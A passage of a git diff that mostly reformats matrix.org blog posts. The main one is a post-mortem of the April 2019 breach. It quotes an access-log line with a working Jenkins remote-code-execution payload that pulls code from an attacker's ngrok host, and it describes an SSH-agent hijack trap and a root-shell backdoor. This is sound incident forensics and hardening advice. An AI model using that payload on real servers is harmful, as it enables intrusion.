a/content/blog/2019/05/2019-05-08-post-mortem-and-remediations-for-apr-11-security-incident.md b/content/blog/2019/05/2019-05-08-post-mortem-and-remediations-for-apr-11-security-incident.md index ecf9689f0..58af9e1cb 100644 --- a/content/blog/2019/05/2019-05-08-post-mortem-and-remediations-for-apr-11-security-incident.md +++ b/content/blog/2019/05/2019-05-08-post-mortem-and-remediations-for-apr-11-security-incident.md @@ -18,23 +18,23 @@ image = "https://matrix.org/blog/img/services.png" - [The Defacement](#the-defacement) - [The Rebuild](#the-rebuild) - [Remediations](#remediations) - - [SSH](#ssh) - - [SSH agent forwarding should be disabled.](#ssh-agent-forwarding-should-be-disabled) - - [SSH should not be exposed to the general internet](#ssh-should-not-be-exposed-to-the-general-internet) - - [SSH keys should give minimal access](#ssh-keys-should-give-minimal-access) - - [Two factor authentication](#two-factor-authentication) - - [It should be made as hard as possible to add malicious SSH keys](#it-should-be-made-as-hard-as-possible-to-add-malicious-ssh-keys) - - [Changes to SSH keys should be carefully monitored](#changes-to-ssh-keys-should-be-carefully-monitored) - - [SSH config should be hardened, disabling unnecessary options](#ssh-config-should-be-hardened-disabling-unnecessary-options) - - [Network architecture](#network-architecture) - - [Keeping patched](#keeping-patched) - - [Intrusion detection](#intrusion-detection) - - [Incident management](#incident-management) - - [Configuration management](#configuration-management) - - [Avoiding temporary measures which last forever](#avoiding-temporary-measures-which-last-forever) - - [Secure packaging](#secure-packaging) - - [Dev and CI infrastructure](#dev-and-ci-infrastructure) - - [Log minimisation and handling Personally Identifying Information (PII)](#log-minimisation-and-handling-personally-identifying-information-pii) + - [SSH](#ssh) + - [SSH agent forwarding should be disabled.](#ssh-agent-forwarding-should-be-disabled) + - [SSH should not be exposed to the general internet](#ssh-should-not-be-exposed-to-the-general-internet) + - [SSH keys should give minimal access](#ssh-keys-should-give-minimal-access) + - [Two factor authentication](#two-factor-authentication) + - [It should be made as hard as possible to add malicious SSH keys](#it-should-be-made-as-hard-as-possible-to-add-malicious-ssh-keys) + - [Changes to SSH keys should be carefully monitored](#changes-to-ssh-keys-should-be-carefully-monitored) + - [SSH config should be hardened, disabling unnecessary options](#ssh-config-should-be-hardened-disabling-unnecessary-options) + - [Network architecture](#network-architecture) + - [Keeping patched](#keeping-patched) + - [Intrusion detection](#intrusion-detection) + - [Incident management](#incident-management) + - [Configuration management](#configuration-management) + - [Avoiding temporary measures which last forever](#avoiding-temporary-measures-which-last-forever) + - [Secure packaging](#secure-packaging) + - [Dev and CI infrastructure](#dev-and-ci-infrastructure) + - [Log minimisation and handling Personally Identifying Information (PII)](#log-minimisation-and-handling-personally-identifying-information-pii) - [Conclusion](#conclusion) ### Introduction @@ -79,22 +79,20 @@ In this process, we spotted an unrecognised SSH key in `/root/.ssh/authorized_ke At this point we started doing forensics to understand the scope of the attack and plan the response, as well as taking snapshots of the hosts to protect data in case the attacker realised we were aware and attempted to vandalise or cover their tracks. Findings were: - - -* The attacker had first compromised Jenkins on March 13th via an RCE vulnerability (CVE-2019-1003000 - [https://www.exploit-db.com/exploits/46572](https://www.exploit-db.com/exploits/46572)): +- The attacker had first compromised Jenkins on March 13th via an RCE vulnerability (CVE-2019-1003000 - [https://www.exploit-db.com/exploits/46572](https://www.exploit-db.com/exploits/46572)): `matrix.org:443 151.34.xxx.xxx - - [13/Mar/2019:18:46:07 +0000] "GET /jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://5f36xxxx.ngrok.io/jenkins/%27)%0A@Grab(group=%27tw.orange%27,%20module=%270x3a%27,%20version=%27000%27)%0Aimport%20Orange; HTTP/1.1" 500 6083 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"` -* This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to root@ on as many other hosts as possible. -* On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts. -* From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at `/usr/share/bsd-mail/shroot`). -* The majority of access to the hosts occurred between Apr 4th and 6th. -* There was no evidence of large-scale data exfiltration, based on analysing network logs. -* There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves). -* There was no evidence of the identity server databases having been compromised. -* There was no evidence of tampering in our source code repositories. -* There was no evidence of tampering of our distributed software packages. -* Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server. +- This allowed them to further compromise a Jenkins slave (Flywheel, an old Mac Pro used mainly for continuous integration testing of Riot/iOS and Riot/Android). The attacker put an SSH key on the box, which was unfortunately exposed to the internet via a high-numbered SSH port for ease of admin by remote users, and placed a trap which waited for any user to SSH into the jenkins user, which would then hijack any available forwarded SSH keys to try to add the attacker’s SSH key to root@ on as many other hosts as possible. +- On Apr 4th at 12:32 GMT, one of the Riot devops team members SSH’d into the Jenkins slave to perform some admin, forwarding their SSH key for convenience for accessing other boxes while doing so. This triggered the trap, and resulted in the majority of the malicious keys being inserted to the remote hosts. +- From this point on, the attacker proceeded to explore the network, performing targeted exfiltration of data (e.g. our passbolt database, which is thankfully end-to-end encrypted via GPG) seemingly targeting credentials and data for use in onward exploits, and installing backdoors for later use (e.g. a setuid root shell at `/usr/share/bsd-mail/shroot`). +- The majority of access to the hosts occurred between Apr 4th and 6th. +- There was no evidence of large-scale data exfiltration, based on analysing network logs. +- There was no evidence of Modular.im hosts having been compromised. (Modular’s provisioning system and DB did run on the old infrastructure, but it was not used to tamper with the modular instances themselves). +- There was no evidence of the identity server databases having been compromised. +- There was no evidence of tampering in our source code repositories. +- There was no evidence of tampering of our distributed software packages. +- Two more hosts were compromised on Apr 5th by similarly hijacking another developer SSH agent as the dev logged into a production server. By around 2am on Apr 11th we felt that we had sufficient visibility on the attacker’s behaviour to be able to do a first pass at evicting them by locking down SSH, removing their keys, and blocking as much network traffic as we could. @@ -110,10 +108,8 @@ At around 7am, we were woken up to the news that the attacker had managed to rep On inspection, it transpired that the attacker had not compromised the new infrastructure, but had used Cloudflare to repoint the DNS for matrix.org to a defacement site hosted on Github. Now, as part of rotating the secrets which had been compromised via our configuration repositories, we had of course rotated the Cloudflare API key (used to automate changes to our DNS) during the rebuild on Apr 11. When you log into Cloudflare, it looks something like this... - ![Cloudflare login UI](/blog/img/cf.png) - ...where the top account is your personal one, and the bottom one is an admin role account. To rotate the admin API key, we clicked on the admin account to log in as the admin, and then went to the Profile menu, found the API keys and hit the [Change API Key](https://support.cloudflare.com/hc/en-us/articles/221318707-How-do-I-change-my-Global-API-Key-) button. Unfortunately, when you do this, it turns out that the API Key it changes is your personal one, rather than the admin one. As a result, in our rush we thought we’d rotated the admin API key, but we hadn’t, thus accidentally enabling the defacement. @@ -124,17 +120,17 @@ To flush out the defacement we logged in directly as the admin user and changed The goal of the rebuild has been to get all the higher priority services back up rapidly - whilst also ensuring that good security practices are in place going forwards. In practice, this meant making some immediate decisions about how to ensure the new infrastructure did not suffer the same issues and fate as the old. Firstly, we ensured the most obvious mistakes that made the breach possible were mitigated: -* Access via SSH restricted as heavily as possible -* SSH agent forwarding disabled server-side -* All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo. +- Access via SSH restricted as heavily as possible +- SSH agent forwarding disabled server-side +- All configuration to be managed by Ansible, with secrets encrypted in vaults, rather than sitting in a git repo. Then, whilst reinstating services on the new infra, we opted to review **everything** being installed for security risks, replacing with securer alternatives if needed, even if it slowed down the rebuild. Particularly, this meant: -* Jenkins has been replaced by [Buildkite](https://buildkite.com/matrix-dot-org) -* Wordpress has been replaced by static generated sites (e.g. [Gatsby](https://github.com/matrix-org/matrix.org/tree/master/gatsby)) -* cgit has been replaced by [gitlab](https://gitlab.matrix.org). -* Entirely new packaging building, signing & distribution infrastructure (more on that later) -* etc. +- Jenkins has been replaced by [Buildkite](https://buildkite.com/matrix-dot-org) +- Wordpress has been replaced by static generated sites (e.g. [Gatsby](https://github.com/matrix-org/matrix.org/tree/master/gatsby)) +- cgit has been replaced by [gitlab](https://gitlab.matrix.org). +- Entirely new packaging building, signing & distribution infrastructure (more on that later) +- etc. Now, while we restored the main synapse (homeserver), sydent (identity server), sygnal (push server), databases, load balancers, intranet and website on Apr 11, it’s important to understand that there were over 100 other services running on the infra - which is why it is taking a while to get full parity with where we were before. @@ -158,11 +154,11 @@ We’ve split the remediation work into the following domains. Some of the biggest issues exposed by the security breach concerned our use of SSH, which we’ll take in turn: -##### SSH agent forwarding should be disabled. +##### SSH agent forwarding should be disabled SSH agent forwarding is a beguilingly convenient mechanism which allows a user to ‘forward’ access to their private SSH keys to a remote server whilst logged in, so they can in turn access other servers via SSH from that server. Typical uses are to make it easy to copy files between remote servers via scp or rsync, or to interact with a SCM system such as Github via SSH from a remote server. Your private SSH keys end up available for use by the server for as long as you are logged into it, letting the server impersonate you. -The common wisdom on this tends to be something like: “Only use agent forwarding when connecting to trusted hosts”. For instance, [Github’s guide to using SSH agent forwarding](https://developer.github.com/v3/guides/using-ssh-agent-forwarding/#setting-up-ssh-agent-forwarding) says: +The common wisdom on this tends to be something like: “Only use agent forwarding when connecting to trusted hosts”. For instance, [Github’s guide to using SSH agent forwarding](https://developer.github.com/v3/guides/using-ssh-agent-forwarding/#setting-up-ssh-agent-forwarding) says: > **Warning**: You may be tempted to use a wildcard like `Host *` to just apply this setting (ForwardAgent: yes) to all SSH connections. That's not really a good idea, as you'd be sharing your local SSH keys with _every_ server you SSH into. They won't have direct access to the keys, but they will be able to use them _as you_ while the connection is established. **You should only add servers you trust and that you intend to use with agent forwarding** @@ -174,15 +170,13 @@ If there is one lesson everyone should learn from this whole mess, it is: **SSH Our remediations for this are: - - -* Disable all ssh agent forwarding on the servers. -* If you need to jump through a box to ssh into another box, use `ssh -J $host`. -* This can also be used with rsync via `rsync -e "ssh -J $host"` -* If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s [release notes](https://www.openssh.com/txt/release-8.0) explicitly recommends using more modern protocols than scp). -* If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions. -* If you just need to check out stuff from public git repos, use https rather than git+ssh. -* Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning... +- Disable all ssh agent forwarding on the servers. +- If you need to jump through a box to ssh into another box, use `ssh -J $host`. +- This can also be used with rsync via `rsync -e "ssh -J $host"` +- If you need to copy files between machines, use rsync rather than scp (OpenSSH 8.0’s [release notes](https://www.openssh.com/txt/release-8.0) explicitly recommends using more modern protocols than scp). +- If you need to regularly copy stuff from server to another (or use SSH to GitHub to check out something from a private repo), it might be better to have a specific SSH ‘deploy key’ created for this, stored server-side and only able to perform limited actions. +- If you just need to check out stuff from public git repos, use https rather than git+ssh. +- Try to educate everyone on the perils of SSH agent forwarding: if our past selves can’t be a good example, they can at least be a horrible warning... Another approach could be to allow forwarding, but configure your SSH agent to prompt whenever a remote app tries to access your keys. However, not all agents support this (OpenSSH’s does via `ssh-add -c`, but gnome-keyring for instance doesn’t), and also it might still be possible for a hijacker to race with the valid request to hijack your credentials. @@ -218,7 +212,7 @@ Similarly, we are working on tracking changes and additions to other credentials If we’d gone through reviewing the default sshd config when we set up the datacenter in the first place, we’d have caught several of these failure modes at the outset. We’ve now done so (as per above). -We’d like to recommend that packages of openssh start having secure-by-default configurations, as a number of the old options just don’t need to exist on most newly provisioned machines. +We’d like to recommend that packages of openssh start having secure-by-default configurations, as a number of the old options just don’t need to exist on most newly provisioned machines. #### Network architecture @@ -226,18 +220,16 @@ As mentioned in the History section, the legacy network infrastructure effective We are addressing this by: +- Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers). + - Development + - Intranet + - Package Build (airgapped; see below for more details) + - Package Distribution + - Production, which is in turn split per class of service. +- Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above. +- Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN). - -* Splitting our infrastructure into strictly separated service domains, which are firewalled from each other and can only access each other via their respective ‘front doors’ (e.g. HTTPS APIs exposed at the loadbalancers). - * Development - * Intranet - * Package Build (airgapped; see below for more details) - * Package Distribution - * Production, which is in turn split per class of service. -* Access to these networks will be via VPN + SSH jumpboxes (as per above). Access to the VPN is via per-device certificate + 2FA, and SSH via keys as per above. -* Switching to an improved internal VPN between hosts within a given network environment (i.e. we don’t trust the datacenter LAN). - -We’re also running most services in containers by default going forwards (previously it was a bit of a mix of running unix processes, VMs, and occasional containers), providing an additional level of namespace isolation. +We’re also running most services in containers by default going forwards (previously it was a bit of a mix of running unix processes, VMs, and occasional containers), providing an additional level of namespace isolation. #### Keeping patched @@ -257,19 +249,17 @@ There’s obviously a lot we need to do in terms of spotting future attacks as r There is much we have learnt from managing an incident at this scale. The main highlights taken from our internal retrospective are: - - -* The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...) -* The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback. -* The need to have an existing inventory of services and secrets available for tracking progress and prioritisation -* The need to have a general incident management [checklist](https://news.ycombinator.com/item?id=19682451&p=2) for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes: - * Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct). - * Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff - * Remembering to informing the ICO (Information Commissioner Office) of any user data breaches - * Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug) - * Reminders to snapshot systems for forensics & backups - * Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable. - * Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.) +- The need for a single incident manager to coordinate the technical response and coordinate prioritisation and handover between those handling the incident. (We lacked a single incident manager at first, given several of the team started off that week on holiday...) +- The benefits of gathering all relevant info and checklists onto a canonical set of shared documents rather than being spread across different chatrooms and lost in scrollback. +- The need to have an existing inventory of services and secrets available for tracking progress and prioritisation +- The need to have a general incident management [checklist](https://news.ycombinator.com/item?id=19682451&p=2) for future reference, which folks can familiarise themselves with ahead of time to avoid stuff getting forgotten. The sort of stuff which will go on our checklist in future includes: + - Remembering to appoint named incident manager, external comms manager & internal comms manager. (They could of course be the same person, but the roles are distinct). + - Defining a sensible sequence of forensics, mitigations, communication, rotating secrets etc is followed rather than having to work it out on the fly and risk forgetting stuff + - Remembering to informing the ICO (Information Commissioner Office) of any user data breaches + - Guidelines on how to balance between forensics and rebuilding (i.e. how long to spend on forensics, if at all, before pulling the plug) + - Reminders to snapshot systems for forensics & backups + - Reminder to not redesign infrastructure during a rebuild. There were a few instances where we lost time by seizing the opportunity to try to fix design flaws whilst rebuilding, some of which were avoidable. + - Making sure that communication isn’t sent prematurely to users (e.g. we posted the blog post asking people to update their passwords before password reset had actually been restored - apologies for that.) #### Configuration management @@ -291,29 +281,25 @@ Whilst the keys were compromised, none of the packages that we distribute were t In terms of remediation, designing a secure build process is surprisingly hard, particularly for a geo-distributed team. What we have landed on is as follows: - - -* Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions). -* We then perform all releases from a dedicated isolated release terminal. - * This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network. - * Needless to say, the device is strictly used for *nothing* other than performing releases. - * The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed) - * The signing keys (hardware or software) are kept exclusively on this device. - * The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device. - * We physically store the device securely. - * We ensure someone on the team always has physical access to it in order to do emergency builds. -* Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production. - * These live at [https://packages.matrix.org](https://packages.matrix.org) and [https://packages.riot.im](https://packages.riot.im) - * These are minimal machines with nothing but a static web-server. - * They are accessed only via the dedicated SSH keys stored on the release terminal. - * These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s [always online](https://www.cloudflare.com/always-online/) feature, for better or worse). +- Developers create a release branch to signify a new release (ensuring dependencies are pinned to known good versions). +- We then perform all releases from a dedicated isolated release terminal. + - This is a device which is kept disconnected from the internet, other than when doing a release, and even then it is firewalled to be able to pull data from SCM and push to the package distribution servers, but otherwise entirely isolated from the network. + - Needless to say, the device is strictly used for _nothing_ other than performing releases. + - The build environment installation is scripted and installs on a fresh OS image (letting us easily build new release terminals as needed) + - The signing keys (hardware or software) are kept exclusively on this device. + - The publishing SSH keys (hardware or software) used to push to the packaging servers are kept exclusively on this device. + - We physically store the device securely. + - We ensure someone on the team always has physical access to it in order to do emergency builds. +- Meanwhile, releases are distributed using dedicated infrastructure, entirely isolated from the rest of production. + - These live at [https://packages.matrix.org](https://packages.matrix.org) and [https://packages.riot.im](https://packages.riot.im) + - These are minimal machines with nothing but a static web-server. + - They are accessed only via the dedicated SSH keys stored on the release terminal. + - These in turn can be mirrored in future to avoid a SPOF (or we could cheat and use Cloudflare’s [always online](https://www.cloudflare.com/always-online/) feature, for better or worse). Alternatives here included: - - -* In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now. -* We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per [https://github.com/matrix-org/matrix.org/issues/370](https://github.com/matrix-org/matrix.org/issues/370)). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can. +- In an ideal world we’d do reproducible builds instead, and sign the build’s hash with a hardware key, but given we don’t have reproducible builds yet this will have to suffice for now. +- We could delegate building and distribution entirely to a 3rd party setup such as OBS (as per [https://github.com/matrix-org/matrix.org/issues/370](https://github.com/matrix-org/matrix.org/issues/370)). However, we have a very wide range of artefacts to build across many different platforms and OSes, so would rather build ourselves if we can. #### Dev and CI infrastructure @@ -323,11 +309,9 @@ The new pipelines have been set up so that where CI needs to push artefacts to p Other than CI, our strategy is: - - -* Continue using Github for public repositories -* Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like [Olm](https://gitlab.matrix.org/matrix-org/olm)) -* Continue to host docker images on Docker Hub (despite their recent [security dramas](https://success.docker.com/article/docker-hub-user-notification)). +- Continue using Github for public repositories +- Use gitlab.matrix.org for private repositories (and stuff which we don’t want to re-export via the US, like [Olm](https://gitlab.matrix.org/matrix-org/olm)) +- Continue to host docker images on Docker Hub (despite their recent [security dramas](https://success.docker.com/article/docker-hub-user-notification)). #### Log minimisation and handling Personally Identifying Information (PII) @@ -335,20 +319,16 @@ Another thing that the breach made painfully clear is that we log too much. Whi However, we can still improve our logging and PII-handling substantially: - - -* Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc). -* Minimising log retention to the bare minimum we need to investigate recent issues and abuse -* Ensuring that PII is stored hashed wherever possible. +- Ensuring that wherever possible, we hash or at least truncate any PII before logging it (access tokens, matrix IDs, 3rd party IDs etc). +- Minimising log retention to the bare minimum we need to investigate recent issues and abuse +- Ensuring that PII is stored hashed wherever possible. Meanwhile, in Matrix itself we already are very mindful of handling PII (c.f. our [privacy policies](https://github.com/vector-im/policies/tree/master/docs/matrix-org) and [GDPR work](https://matrix.org/blog/2018/05/08/gdpr-compliance-in-matrix/)), but there is also more we can do, particularly: - - -* Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is [https://github.com/vector-im/riot-web/issues/6779](https://github.com/vector-im/riot-web/issues/6779). -* We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is [https://github.com/matrix-org/synapse/issues/5145](https://github.com/matrix-org/synapse/issues/5145) -* We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is [https://github.com/matrix-org/matrix-doc/pull/1763](https://github.com/matrix-org/matrix-doc/pull/1763) -* We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is [https://github.com/matrix-org/matrix-doc/pull/1228](https://github.com/matrix-org/matrix-doc/pull/1228). +- Turning on end-to-end encryption by default, so that even if a server is compromised, the attacker cannot get at private message history. Everyone who uses E2EE in Matrix should have felt some relief that even though the server was compromised, their message history was safe: we need to provide that to everyone. This is [https://github.com/vector-im/riot-web/issues/6779](https://github.com/vector-im/riot-web/issues/6779). +- We need device audit trails in Matrix, so that even if a compromised server (or malicious server admin) temporarily adds devices to your account, you can see what’s going on. This is [https://github.com/matrix-org/synapse/issues/5145](https://github.com/matrix-org/synapse/issues/5145) +- We need to empower users to configure history retention in their rooms, so they can limit the amount of history exposed to an attacker. This is [https://github.com/matrix-org/matrix-doc/pull/1763](https://github.com/matrix-org/matrix-doc/pull/1763) +- We need to provide account portability (aka decentralised accounts) so that even if a server is compromised, the users can seamlessly migrate elsewhere. The first step of this is [https://github.com/matrix-org/matrix-doc/pull/1228](https://github.com/matrix-org/matrix-doc/pull/1228). ### Conclusion diff --git a/content/blog/2019/05/2019-05-10-this-week-in-matrix-2019-05-10.md b/content/blog/2019/05/2019-05-10-this-week-in-matrix-2019-05-10.md index cd85e0607..c39850c7f 100644 --- a/content/blog/2019/05/2019-05-10-this-week-in-matrix-2019-05-10.md +++ b/content/blog/2019/05/2019-05-10-this-week-in-matrix-2019-05-10.md @@ -35,7 +35,7 @@ Says [poljar]: ## Dept of Clients -### Pattle - big update! +### Pattle - big update [Wilko] announced: @@ -58,6 +58,7 @@ Says [poljar]: > >Follow development [here](https://git.pattle.im/pattle/app) and in [#pattle:matrix.org]! + ![](/blog/img/pattle-2019-05-10.png) ### Fractal @@ -112,7 +113,7 @@ He also has news to share re E2E: >Progress has been made at the end2end encryption for FluffyChat. Qml bindings for the libolm library are mostly ready and the app can now create keys and upload keys to the server. Device tracking is now implemented too. -E2E when? SOON! See the branch here: https://gitlab.com/ChristianPauly/fluffychat/tree/e2eencryption +E2E when? SOON! See the branch here: ## Dept of Bridges @@ -120,7 +121,7 @@ E2E when? SOON! See the branch here: https://gitlab.com/ChristianPauly/fluffycha [tulir] has been using his [mautrix-python] lib, which was recently used to enable his [mautrix-facebook] bridge, to bring a new method for Matrix-Hangouts bridging: -> New bridge again, this time it's Hangouts: https://github.com/tulir/mautrix-hangouts / [#hangouts:maunium.net]. As with the Messenger bridge, currently the main difference to matrix-puppet-hangouts is multi-user support (also no hacky JS/Python mixing). +> New bridge again, this time it's Hangouts: / [#hangouts:maunium.net]. As with the Messenger bridge, currently the main difference to matrix-puppet-hangouts is multi-user support (also no hacky JS/Python mixing). > >Before making mautrix-hangouts, I put a bunch of the generic bridging parts of mautrix-facebook into mautrix-python's bridge module and used that in both bridges. After Debian 10 is released, I'll drop Python 3.5 compatibility in mautrix-telegram and move it to use mautrix-python and the bridge module too. > @@ -151,7 +152,7 @@ Why rename? [Cadair]: -> [Opsdroid](http://opsdroid.readthedocs.io/) 0.15 has been released, with *a lot* of matrix focused updates. The biggest of which is support for sending and receiving images and files. There have also been a bunch of bug fixes such as clean exit of the matrix connector and correct handling of events which are not parsed. There are also a bunch of other not matrix specific changes like support for the awesome [parse](https://pypi.org/project/parse/) library for string matching. Read all about it in the release blog: https://medium.com/opsdroid/event-dispatching-simple-parsing-and-more-in-v0-15-3f721b8a6d6c +> [Opsdroid](http://opsdroid.readthedocs.io/) 0.15 has been released, with *a lot* of matrix focused updates. The biggest of which is support for sending and receiving images and files. There have also been a bunch of bug fixes such as clean exit of the matrix connector and correct handling of events which are not parsed. There are also a bunch of other not matrix specific changes like support for the awesome [parse](https://pypi.org/project/parse/) library for string matching. Read all about it in the release blog: ### PK interfaces for ruby_olm diff --git a/content/blog/2019/05/2019-05-15-synapse-0-99-4-released.md b/content/blog/2019/05/2019-05-15-synapse-0-99-4-released.md index ef85b50b2..a1623f670 100644 --- a/content/blog/2019/05/2019-05-15-synapse-0-99-4-released.md +++ b/content/blog/2019/05/2019-05-15-synapse-0-99-4-released.md @@ -13,12 +13,9 @@ Hey ho Synapse release day. As ever, you can get the new update [here](https://github.com/matrix-org/synapse/releases/tag/v0.99.4) or any of the sources mentioned at [https://github.com/matrix-org/synapse](https://github.com/matrix-org/synapse). Note, Synapse is now available from PyPI, pick it up [here](https://pypi.org/project/matrix-synapse/). Also, check out our [Synapse installation guide page](https://matrix.org/docs/guides/installing-synapse) +## Synapse 0.99.4 Changelog -Synapse 0.99.4 Changelog -======================== - -Features --------- +### Features - Add systemd-python to the optional dependencies to enable logging to the systemd journal. Install with `pip install matrix-synapse[systemd]`. ([\#4339](https://github.com/matrix-org/synapse/issues/4339)) - Add a default .m.rule.tombstone push rule. ([\#4867](https://github.com/matrix-org/synapse/issues/4867)) @@ -38,9 +35,7 @@ Features - Move admin APIs to `/_synapse/admin/v1`. (The old paths are retained for backwards-compatibility, for now). ([\#5119](https://github.com/matrix-org/synapse/issues/5119)) - Implement an admin API for sending server notices. Many thanks to @krombel who provided a foundation for this work. ([\#5121](https://github.com/matrix-org/synapse/issues/5121), [\#5142](https://github.com/matrix-org/synapse/issues/5142)) - -Bugfixes --------- +### Bugfixes - Avoid redundant URL encoding of redirect URL for SSO login in the fallback login page. Fixes a regression introduced in [#4220](https://github.com/matrix-org/synapse/pull/4220). Contributed by Marcel Fabian Krüger ("[zaugin](https://github.com/zauguin)"). ([\#4555](https://github.com/matrix-org/synapse/issues/4555)) - Fix bug where presence updates were sent to all servers in a room when a new server joined, rather than to just the new server. ([\#4942](https://github.com/matrix-org/synapse/issues/4942), [\#5103](https://github.com/matrix-org/synapse/issues/5103)) @@ -60,9 +55,7 @@ Bugfixes - Limit the number of EDUs in transactions to 100 as expected by synapse. Thanks to @superboum for this work! ([\#5138](https://github.com/matrix-org/synapse/issues/5138)) - Fix bogus imports in unit tests. ([\#5154](https://github.com/matrix-org/synapse/issues/5154)) - -Internal Changes ----------------- +### Internal Changes - Add test to verify threepid auth check added in #4435. ([\#4474](https://github.com/matrix-org/synapse/issues/4474)) - Fix/improve some docstrings in the replication code. ([\#4949](https://github.com/matrix-org/synapse/issues/4949)) @@ -94,4 +87,3 @@ Internal Changes - Prevent an exception from being raised in a IResolutionReceiver and use a more generic error message for blacklisted URL previews. ([\#5155](https://github.com/matrix-org/synapse/issues/5155)) - Run `black` on the tests directory. ([\#5170](https://github.com/matrix-org/synapse/issues/5170)) - Fix CI after new release of isort. ([\#5179](https://github.com/matrix-org/synapse/issues/5179)) - diff --git a/content/blog/2019/05/2019-05-17-this-week-in-matrix-2019-05-17.md b/content/blog/2019/05/2019-05-17-this-week-in-matrix-2019-05-17.md index f1a39004b..7e5e05a08 100644 --- a/content/blog/2019/05/2019-05-17-this-week-in-matrix-2019-05-17.md +++ b/content/blog/2019/05/2019-05-17-this-week-in-matrix-2019-05-17.md @@ -32,11 +32,12 @@ First [Construct] update for a few weeks: > [Construct] has added a server command line available in any room when starting a line with a special character (by default it's '\\'). The commands are private so the room doesn't actually see it. More on this next week, or check out [#test:zemos.net]. + ![](/blog/img/2019-05-17-construct.png) ## Dept of SDKs and Frameworks -### Ruby SDK now 1.0! +### Ruby SDK now 1.0 Big news from [Ananace] this week: @@ -76,10 +77,11 @@ This is great! All Rubyists should check it out. Ananace notes: > > To install this release, add the following repo in F-droid: > -> https://fdroid.pattle.im/?fingerprint=E91F63CA6AE04F8E7EA53E52242EAF8779559209B8A342F152F9E7265E3EA729 +> > > And install 'Pattle'. + ![](/blog/img/2019-05-17-pattle.png) ### Riot (various) @@ -88,15 +90,14 @@ This week the various Riot teams (web, iOS, Android) have been spending time im #### Riot Android -> * PR review from community: Matomo SDK will replace Piwik SDK -> * Weblate is up again, a sync has been done. +> - PR review from community: Matomo SDK will replace Piwik SDK +> - Weblate is up again, a sync has been done. #### RiotX (Android) -> * Crypto integration is still ongoing -> * Reactions are coming soon! -> * New home and navigation to rooms development started - +> - Crypto integration is still ongoing +> - Reactions are coming soon! +> - New home and navigation to rooms development started ### tangent @@ -110,10 +111,11 @@ Test the latest at: [Black Hat]: -> * Polished the timeline UI for Spectral. -> * Added `m.video` support. -> * Also added drag-and-drop support in Spectral. +> - Polished the timeline UI for Spectral. +> - Added `m.video` support. +> - Also added drag-and-drop support in Spectral. + ![](/blog/img/2019-05-17-spectral.png) ### Fractal now with keyboard shortcuts @@ -122,16 +124,18 @@ Test the latest at: > Ana, first time contributor, added a bunch of cool keyboard shortcuts to ease navigation in Fractal. One can now e.g. go down to the next room with unread messages with 